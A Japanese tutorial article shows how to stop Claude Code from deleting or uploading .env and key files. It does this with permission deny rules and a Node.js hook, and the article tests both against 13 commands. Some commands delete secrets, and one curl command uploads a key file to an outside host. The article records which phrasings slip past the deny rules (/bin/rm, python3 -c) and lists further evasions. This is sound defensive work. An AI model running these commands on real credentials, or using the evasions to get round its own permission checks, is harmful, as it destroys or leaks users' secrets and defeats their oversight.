2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

@Oskra

hook で Claude Code に .env や鍵ファイルを消させない

2
Last updated at Posted at 2026-10-17

この記事で分かること

  • AI に「このファイルは消さないで」と設定しても、コマンドの書き方しだいですり抜けること
  • 反対に、消してよいファイルまで止めてしまうこと
  • すり抜けを止める小さなプログラム（hook）の作り方。111 行の全文を載せます
  • それでも止められない操作と、そのときの考え方

想定読者

  • Claude Code にコマンドを任せていて、.env や鍵ファイルが心配な人
  • 「消すな」の設定を書いたけれど、本当に効くか不安な人

settings.json を書いたことがあれば読めます。

検証環境

2026-10-17 に、次の環境で動かしました。

項目 値
Claude Code 2.1.302
Node.js 22.22.2
OS WSL2 上の Ubuntu 24.04
測定に使ったモデル --model haiku

Claude Code は、版によって動きが変わることがあります。

1. 背景 — AI にコマンドを任せる人が 1 年で約 2 倍に

この章では、なぜ今この話をするのかを、3 つの事実で示します。

AI エージェントは、自分でコマンドを打ちながら作業を進める AI です。

使う人は 1 年で約 2 倍

  • 2025 年: 31%
  • 2026 年 4 月: 59%

これは、仕事で AI エージェントを使っている開発者の割合です（Stack Overflow の調査）。2026 年は 1,100 人に聞いた臨時の調査なので、目安として見てください。

漏れた鍵の数は増えたが、割合は横ばい

2025 年に公開 GitHub のコミットで見つかった秘密情報（鍵やパスワード）は、約 2,865 万件でした。前の年より 34% 多い数です（GitGuardian の 2026 年の報告）。

ただ、コミットの数そのものも 43% 増えています（同じ報告の公式ブログ）。1 コミットあたりではほぼ横ばいで、「AI のせいで急増した」とまでは言えません。

消された、という報告

2025 年 7 月、Replit の CEO は、自社の AI が本番のデータを消したことを X で認めました。

Claude Code でも、.env を消されたという報告があります（issue #65034）。決まった形以外の書き方で「消すな」の設定をすり抜けた、という報告もあります（issue #92542）。

どちらも利用者の報告で、Anthropic が原因を認めたものではありません。

次の章では、私が同じ心配を抱えた事情を書きます。

2. 困っていたこと — 確認画面を減らすと、鍵ファイルまで消せてしまう

この章では、私が何に困っていたかを、順を追って書きます。

確認画面を何十回も押すことになる

Claude Code は、コマンドを実行する前に「実行してよいか」を、使う人に聞きます。これが確認画面です。

作業を任せると、この画面を何十回も押すことになります。押すまで作業は止まったままです。

だから私は、Bash のコマンドを「確認なしで実行してよい」に設定しました。

止める人がいなくなる

すると、Claude が鍵ファイルを消すコマンドや、外へ送るコマンドを打っても、止める人がいません。

私のリポジトリには、そうされると困るファイルが 2 種類あります。

  • .env: 鍵やパスワードを書いた設定ファイル
  • secrets/ の中の鍵ファイル（.p8 や .pem）

鍵が消えると、作り直しになる

たとえば App Store Connect の鍵（.p8）は、1 回しかダウンロードできません（Apple の公式文書）。

消えたら鍵を作り直し、その鍵を使っている所をすべて差し替えることになります。

鍵が外へ出ると、他人に使われる

鍵は、持っている人なら誰でも使えます。外へ出ると、他人に操作されるおそれがあります。

1 章のとおり、公開 GitHub だけでも、1 年に約 2,865 万件の秘密情報が見つかっています。

だから、鍵ファイルに触るコマンドだけを止めたい

ふだんのコマンドは、確認なしで通したい。でも、鍵ファイルを消す・動かす・外へ送るコマンドだけは止めたい。これが今回の課題です。

次の章では、守りが本当に効くかを確かめる方法を決めます。

3. 試し方 — 偽の鍵と、13 通りのコマンド

この章では、偽の鍵と、試す 13 通りのコマンドを用意します。

偽の鍵を 3 つ置く

中身が dummy という文字だけの、偽の鍵を作りました。

  • secrets/fake.p8
  • .env
  • .env.example（消してよいファイル）

1 回試すたびに作り直しました。

13 通りのコマンドを 5 つの型から選ぶ

13 通りを次の 5 つの型から選びました。

型 数 例
素直に消す 1 rm
書き方を変えて消す 5 /bin/rm・cd && rm
移す・写す・送る 3 mv・cp・curl
スクリプトの中で消す 2 bash -c・python3 -c
止めてほしくない 2 rm .env.example

型ごとに、なぜ試すかを書きます。

素直に消す（1 通り）

  • rm secrets/fake.p8

まず、これが止まるかを見る基準です。

書き方を変えて消す（5 通り）

同じ操作でも、書き方しだいで守りをすり抜けることがあるからです。

  • /bin/rm secrets/fake.p8: 置き場所つきで書く（What a Bash rule doesn't match の表にある型）
  • cd secrets && rm fake.p8: 先にフォルダへ移る（ Compound commands）
  • cd secrets; rm *: ; で区切り、まとめて消す
  • rm -f ./secrets/../secrets/fake.p8: 回り道のパスで書く
  • timeout 5 rm .env: 前に別のコマンドを挟む（ Wrappers と issue #92542）

移す・写す・送る（3 通り）

消さなくても、持ち出されれば困るからです。

  • mv .env ../x
  • cp .env ../leak
  • curl -F file=@secrets/fake.p8 https://example.com

スクリプトの中で消す（2 通り）

コマンドの文字列に、消す操作が直接は出てこないからです。

  • bash -c 'rm .env': /bin/rm と同じ公式の表にある型
  • python3 -c "import os; os.remove('.env')": Read and Edit の注意書きにある型

止めてほしくない（2 通り）

守りが強すぎて、ふだんの作業まで止めないかを見ます。

  • rm .env.example: 名前が似ているだけの、消してよいファイル
  • ls secrets: 中を見るだけ

危ない 11 通りと、止めてほしくない 2 通りで、合わせて 13 通りです。

測り方

4 章の deny（Claude Code に最初からある「実行させない」設定）は、Claude Code に実際にコマンドを打たせて測りました。

使ったのは claude -p です。画面を開かずに、1 回の頼みごとだけを処理します。

cd play && claude -p \
  "Run this Bash command exactly once, verbatim: /bin/rm secrets/fake.p8" \
  --setting-sources project --settings ../deny-only.json \
  --permission-mode dontAsk --model haiku --tools Bash

deny だけの結果になるよう、3 つの工夫をしました。

  • dontAsk: 確認が要る場面では、確認を出さずに拒否する（公式の Permission modes の表）
  • --setting-sources project: 自分の設定を読まない
  • deny-only.json: 4 章の deny のルールに、hook を切る "disableAllHooks": true を足した物（公式の Disable or remove hooks）

5 章の hook は、Claude Code が送るのと同じ形の JSON を流し込むだけで試せます（5 章の最後）。

試し方が決まったので、次の章でまず deny だけを試します。

4. deny だけで試す — 11 通り中 9 は止まったが、2 通り抜けた

この章では、deny の設定を書き、13 通りの結果と抜けた理由を見ます。

deny とは

deny は、実行させないコマンドを settings.json に書いておく設定です。

今回は、次の内容を設定に書きました（測るときは、同じ内容を別のファイルにして --settings で渡しました。3 章）。

{
  "permissions": {
    "allow": ["Bash"],
    "deny": [
      "Bash(rm *secrets*)", "Bash(rm *.p8*)", "Bash(rm *.env*)",
      "Bash(mv *.env*)", "Bash(cp *.env*)", "Bash(curl *@*)",
      "Read(./.env)", "Read(./secrets/**)"
    ]
  }
}
  • Bash(...) の 6 つ: 鍵ファイルを消す・動かすコマンドと、@ファイル を送る curl を止める
  • Read(...) の 2 つ: 鍵ファイルを読ませない

結果

結果は 3 つに分けました。

  • 止まった: 鍵が守られた
  • 抜けた: 偽の鍵が本当に消えた。本物なら、2 章のとおり作り直しになる
  • 止めすぎた: 消してよいファイルや、ふだんの作業まで止まる。確認なしにした意味が減り、自分で打ち直す手間が出る

危ない 11 通りのうち、9 通りが止まりました（私の環境）。

止まった（9 通り）

  • 素直に消す 1 通り
  • 書き方を変えて消す 5 通りのうち、/bin/rm 以外の 4 通り
  • 移す・写す・送る 3 通り
  • bash -c 'rm .env'（※）

※ deny のルールに当たったのではありません。3 章の「測り方」で使った dontAsk（確認が要るコマンドを、確認を出さずに断るモード）が断りました。

抜けた（2 通り）

  • /bin/rm secrets/fake.p8
  • python3 -c "import os; os.remove('.env')"

どちらも、偽の鍵は本当に消えました。

止めすぎた（2 通り）

  • rm .env.example: Bash(rm *.env*) が、似た名前のファイルにも当たった
  • ls secrets: Read(./secrets/**) が、中を見るだけのコマンドにも当たった

なぜ抜けたのか

deny は、コマンドの文字列をルールと見比べます。

&& や ; で区切り、timeout のような前置きも外して見るので、cd や timeout を使った書き方は止まりました（Compound commands・Wrappers）。

一方、/bin/rm は rm で始まる文字列ではないので、ルールに当たりません。公式文書も、このルールは「安全の境界ではない」と書いています（What a Bash rule doesn't match）。

python3 -c は、消す処理が引用符の中のコードにあり、文字列では見分けられません。

つまり deny だけでは 2 通りで鍵が消えます。書き方が違っても、行き先のファイルで判断する仕組みが要ります。

次の章では、それを hook で作ります。止めすぎは deny の性質なので、hook では直りません（8 章）。

5. hook を足す — コマンドの「行き先」を調べて止める

この章では、hook の仕組み、考え方、コードの順に説明します。

hook とは

hook は、Claude Code の決まった場面で、自分のプログラムを走らせる仕組みです。

PreToolUse という場面を使うと、Claude がコマンドを打つ直前に、その全文を受け取れます。今いるフォルダも一緒に届きます（Common input fields）。

プログラムが終了コード 2 で終わると、コマンドは止まります。終了コードは、プログラムが終わるときに返す番号です（Exit code 2）。

考え方: 文字列ではなく行き先を見る

hook では、引数を今いるフォルダから見た絶対パスに直し、鍵ファイルかどうかを見ます。鍵ファイルとみなすのは、次の 3 つです。

  • 拡張子が .p8 .p12 .pem .key
  • パスの途中に secrets フォルダがある
  • .env と .env.〇〇（.env.example は除く）

/bin/rm でも rm でも、相手が同じ鍵ファイルなら止まります。

.env.example を外すのは、ここでは値を空にした見本だからです。リポジトリに入れて共有するファイルなので、消しても写しても鍵は漏れません。

止めると、見本を直すたびに作業が止まります。この除外は、あとで載せるコードの ②（引数が鍵ファイルかを調べる部分）の最後の行に書きます。

次の図は、1 回のコマンドが hook・deny・sandbox を通る順番です。hook は deny より先に動きます（Extend permissions with hooks）。箱ごとの役目は、図のすぐ後で説明します。

受け持ちの分け方

図の 3 つの箱が、それぞれ何を受け持つかです。

  • 読む → 「deny が文字列を見比べる」の箱。Read ルールは Read や Grep、cat にまとめて効くからです（Read and Edit）
  • 消す・動かす・送る → 「hook が行き先を調べる」の箱で止める。hook が壊れて素通しになったときは、deny の箱が受け止めます（Exit code output）
  • スクリプトの中 → 「sandbox が OS の側で制限」の箱。書き方が無数にあり、hook では追いきれないからです（How permissions interact with sandboxing）

settings.json に hook を登録する

4 章の ~/.claude/settings.json に、次の hooks を足します。ここに書くと、すべてのプロジェクトで効きます（Hook locations）。

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "node ~/.claude/hooks/secret-guard-mini.mjs"
          }
        ]
      }
    ]
  }
}

"matcher": "Bash" は、Bash のコマンドのときだけ走らせる指定です。

hook の本体（111 行）

hook を 5 つに分けて説明します。5 つを順につなげ、~/.claude/hooks/secret-guard-mini.mjs として保存します。

① 使う部品と、止める相手の一覧

Node.js の部品を読み込みます。止めたいコマンドと、鍵の拡張子を一覧にします。

#!/usr/bin/env node
import { readFileSync } from 'node:fs';
import { basename, resolve } from 'node:path';
import { homedir } from 'node:os';

const FILE_VERBS = new Set([
  'rm', 'unlink', 'mv', 'cp', 'scp', 'rsync',
]);
const WRAPPERS = new Set([
  'sudo', 'env', 'command', 'nice', 'nohup', 'time', 'timeout',
]);
const CURL_OPTS = new Set([
  '-F', '--form', '-T', '--upload-file',
  '-d', '--data', '--data-binary',
]);
const KEY_EXTS = ['.p8', '.p12', '.pem', '.key'];

② 引数が鍵ファイルかを調べる

引数を絶対パスに直し、上の 3 つに当たるかを調べます。最後の行の name !== '.env.example' が、見本の .env.example だけを鍵の扱いから外す所です。

function isKeyPath(arg, cwd) {
  const abs = resolve(cwd, arg.replace(/^~(?=\/|$)/, homedir()));
  const name = basename(abs);
  if (abs.split('/').includes('secrets')) return true;
  const hasKeyExt = (ext) => name.toLowerCase().endsWith(ext);
  if (KEY_EXTS.some(hasKeyExt)) return true;
  if (name === '.env') return true;
  return name.startsWith('.env.') && name !== '.env.example';
}

③ コマンドを区切り、単語に分ける

&& や ; の所で区切り、さらに単語に分けます。sudo や timeout のような前置きは飛ばし、/bin/rm は rm に直します。

function splitSegments(command) {
  const segments = [];
  let current = '';
  let quote = null;
  for (let i = 0; i < command.length; i++) {
    const c = command[i];
    if (quote) {
      if (c === quote) quote = null;
    } else if (c === '"' || c === "'") {
      quote = c;
    } else if (';|&\n'.includes(c)) {
      segments.push(current);
      current = '';
      if (command[i + 1] === c) i++;
      continue;
    }
    current += c;
  }
  return [...segments, current];
}

function tokenize(segment) {
  const pattern = /(?:[^\s"']+|"[^"]*"|'[^']*')+/g;
  const words = segment.match(pattern) ?? [];
  return words.map((t) => t.replace(/["']/g, ''));
}

function commandName(token) {
  return basename((token ?? '').replace(/^\\/, ''));
}

function isPrefix(token) {
  if (WRAPPERS.has(commandName(token))) return true;
  return /^(\w+=|-|\d+[smhd]?$)/.test(token);
}

④ curl で送るファイルを取り出す

curl -F file=@… の @ の後ろのような、外へ送るファイルの名前を取り出します。

function curlPaths(args) {
  const paths = [];
  for (let k = 0; k < args.length; k++) {
    let [opt, value] = args[k].split(/=(.*)/);
    if (!CURL_OPTS.has(opt)) continue;
    value ??= args[++k] ?? '';
    const path = opt === '-T' || opt === '--upload-file'
      ? value
      : value.match(/[@<]([^;]+)/)?.[1];
    if (path) paths.push(path);
  }
  return paths;
}

⑤ 届いたコマンドを、区切りごとに確かめる

Claude Code から届いた情報を読みます。cd があれば今いる場所を書き換え、消す・動かす・送るコマンドの相手が鍵ファイルなら止めます。

const input = JSON.parse(readFileSync(0, 'utf8'));
if (input.tool_name !== 'Bash') process.exit(0);

let cwd = input.cwd ?? process.cwd();
const command = input.tool_input?.command ?? '';
for (const segment of splitSegments(command)) {
  const tokens = tokenize(segment);
  let i = 0;
  while (i < tokens.length && isPrefix(tokens[i])) i++;
  const verb = commandName(tokens[i]);
  const args = tokens.slice(i + 1);

  if (verb === 'cd') {
    const dir = (args[0] ?? '~').replace(/^~(?=\/|$)/, homedir());
    cwd = resolve(cwd, dir);
    continue;
  }
  let hits = [];
  if (FILE_VERBS.has(verb)) {
    const paths = args.filter((a) => !a.startsWith('-'));
    hits = paths.filter((p) => isKeyPath(p, cwd));
  }
  if (verb === 'curl') {
    hits = curlPaths(args).filter((p) => isKeyPath(p, cwd));
  }
  if (hits.length > 0) {
    const list = hits.join(', ');
    console.error(
      `鍵ファイル (${list}) への ${verb} を止めました。`,
    );
    console.error('必要なら自分の端末で実行してください。');
    process.exit(2);
  }
}

すぐ上のコード ⑤ の最後にある 2 つの console.error(…) が、止めたときに出す文です。hook が終了コード 2 で終わると、この文が止めた理由として Claude に渡ります（Exit code 2）。

Claude はこれを受けて、利用者に理由を伝えられます。別の書き方で試し直さないよう、2 行目に次の手を書きました。

登録したパスを打ち間違えると、hook は動きません。node はファイルが無いと終了コード 1 で終わり、0 と 2 以外は「止めない失敗」として扱われるからです（Other exit codes）。

コマンドはそのまま実行され、記録に「<hook の名前> hook error」という知らせが出るだけです。守っているつもりで、守りが無くなります。

置いたら、次の方法で一度試してください。失敗時に止めたいなら、8 章の "onFailure": "block" を使います。

hook だけを試す

次のコマンドは、/bin/rm secrets/fake.p8 の場面の JSON を作り、hook に流します。jq は JSON を組み立てるコマンドです。

jq -nc --arg c '/bin/rm secrets/fake.p8' \
  '{tool_name:"Bash", cwd:"/tmp/demo", tool_input:{command:$c}}' \
  | node ~/.claude/hooks/secret-guard-mini.mjs; echo "EXIT=$?"

結果です。止めた理由の 2 行（コード ⑤ の最後の console.error が出す文）と、止めた合図の終了コード 2 が出ました。

鍵ファイル (secrets/fake.p8) への rm を止めました。
必要なら自分の端末で実行してください。
EXIT=2

rm .env.example で試すと、何も出ずに EXIT=0 になります。最後に Claude Code 上でも、偽の鍵の rm を頼んで止まるか確かめます。

hook が単体で動いたので、次の章では deny と重ねて 13 通りを試します。

6. 重ねて試す — 11 通り中 10 が止まった

この章では、deny だけの結果と並べて、何が変わったかを見ます。

次の表は、3 章の 13 通りを 1 行ずつ並べ、deny だけの場合と hook を重ねた場合を比べたものです。右の列も、hook を入れた状態で Claude Code に 13 通りを打たせて測りました（私の環境）。✅ は止まった、❌ は通った（鍵が消えた）、⚠️ は止めすぎです。

危ない 11 通り（止まってほしいもの）

コマンド deny だけ deny + hook
rm secrets/fake.p8 ✅ ✅
cd secrets && rm fake.p8 ✅ ✅
cd secrets; rm * ✅ ✅
rm -f ./secrets/../secrets/fake.p8 ✅ ✅
timeout 5 rm .env ✅ ✅
mv .env ../x ✅ ✅
cp .env ../leak ✅ ✅
curl -F file=@secrets/fake.p8 … ✅ ✅
/bin/rm secrets/fake.p8 ❌ ✅
bash -c 'rm .env' ✅ ※ ✅ ※
python3 -c "…" ❌ ❌
止まった数 9 10

止めてほしくない 2 通り

コマンド deny だけ deny + hook
rm .env.example ⚠️ ⚠️
ls secrets ⚠️ ⚠️

※ bash -c は、deny のルールでも hook でも止まっていません。3 章の「測り方」で使った dontAsk（確認が要るコマンドを、確認を出さずに断るモード）が断りました。Claude Code が bash -c を「確認が要るコマンド」と判断した、ということです。

hook を重ねて変わったのは /bin/rm の 1 行だけです。deny が通した /bin/rm を hook が止め、危ない 11 通りのうち止まった数が 9 から 10 になりました（私の環境）。

残る python3 -c は sandbox の出番

python3 -c は、重ねても通ります。

sandbox は、コマンドが触れるファイルを、OS の機能で制限する仕組みです（What the sandbox restricts）。

python3 -c と止めすぎの 2 通りは残りました。次の章では、使ってみて分かったことをまとめます。

7. 起きたこと・学び — 入れてから実際に 2 回止めた

この章では、ふだん使う hook で起きたことと、学びを 3 つ書きます。

私がふだん使う hook（408 行）は、入れてから実際に 2 回、コマンドを止めました。

  • .env を cp しようとした
  • .env を unlink（ファイルを消すコマンド）しようとした

学びは 3 つです。

1 つ目は、思い込みで弱点を書かないことです。deny は cd secrets && rm fake.p8 を見逃すと思っていましたが、測ると止まりました。

だから守りを入れたら、3 章の 13 通りで自分の環境でも試してください。

2 つ目は、文字列のルールでは、止めすぎを減らそうとすると見逃しが増えることです。ルールを広く書けば、似た名前まで止めます（4 章の rm .env.example）。狭く書けば、書き方を少し変えただけで抜けます（4 章の /bin/rm）。

だから文字列のルールだけに頼らず、hook や sandbox と組み合わせます。

3 つ目は、止めたら理由を返すことです。理由は Claude を通じて利用者に届きます。

だから hook を書くときは、止めた理由と、次にどうすればよいかを出します（5 章のコード ⑤ の最後の 2 行）。

次の章では、重ねても守れないものを挙げます。

8. 弱点と限界 — スクリプト経由は通る。悪意への壁ではない

この章では、5 つの弱点それぞれに、起きることと対処を書きます。

スクリプト経由は deny も hook も通す

python3 -c のようにスクリプトの中で消されると、鍵は消えます。止めるには sandbox を使います。初めの設定では作業フォルダに書き込めるので、鍵ファイルを書き込み禁止の一覧に足します（What the sandbox restricts の表）。

sandbox の設定と検証は長くなるので、ここでは公式の説明だけを示します。

この記事の hook（111 行）にも見逃しがある

5 章で載せた 111 行の hook が見逃す書き方の例です。

  • sudo -u root rm .env
  • find . -name '*.p8' -delete
  • cat .env | curl --data-binary @- …
  • rm .ENV（大文字。拡張子と違い、名前は大文字と小文字を区別して比べるため）

これらでは鍵が守られません。

反対に、鍵を使うだけの scp -i deploy.pem … は止めすぎました。私がふだん使う 408 行の hook（7 章）は、これらの見逃しと止めすぎを扱えますが、rm $(ls secrets) や cp -r . ../backup は止まりません。

書き方を追うかぎり漏れは残るので、最後の壁は sandbox にします。

hook が壊れると素通しになる

hook が途中で落ちると、コマンドはそのまま通ります。時間切れでも同じです（既定は 600 秒）。その間、鍵は deny だけで守ることになります。

登録に "onFailure": "block" を足すと、hook が失敗したときに止められます（Claude Code 2.1.295 以降。Block the action when a hook fails）。

deny の止めすぎは残る

deny の行を残すので、rm .env.example と ls secrets は止まったままです。そのたびに打ち直す手間が出ます。

deny の行を削ると、hook が壊れたときの備えも消えます。だから止めすぎは受け入れ、自分のターミナルで打ちます。

わざと抜け道を探す相手には足りない

deny も hook も、文字列を読んで判断します。文書に仕込まれた指示（プロンプトインジェクション）で抜け道を探されると、防ぎきれません。

sandbox なら、その場合も OS の側で効きます（How permissions interact with sandboxing）。

最後に、ここまでをまとめます。

9. まとめ

この章では、やったことと、さらに良くする方法をまとめます。

やったこと: deny に、コマンドの行き先を調べる hook を重ねました。必要なのは settings の数行と、hook のファイル 1 つです。

良くなったこと: /bin/rm のように書き方を変えても、鍵が消えなくなりました。危ない 11 通りのうち、止まる数は 9 通りから 10 通りに増えました（私の環境）。

できるようになること: 確認画面を減らしたまま作業を任せ、鍵の作り直しや持ち出しを防げます。

引き換えに残ること: 止めすぎの 2 通り、スクリプト経由などの見逃し、hook の手入れ（鍵の置き場や拡張子が増えたら、5 章のコードの一覧を直す手間）です。

さらに良くするなら:

  • 自分の鍵の置き場に合わせて、5 章のコード ① の KEY_EXTS（鍵の拡張子の一覧）と、② の 'secrets'（鍵を置くフォルダの名前）を書き換える
  • 5 章の「hook だけを試す」と 3 章の 13 通りで、自分の環境でも止まるか試す
  • スクリプト経由も防ぎたいなら、sandbox を入れる

参考

公式文書は 2026-10-17 に確認しました。

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?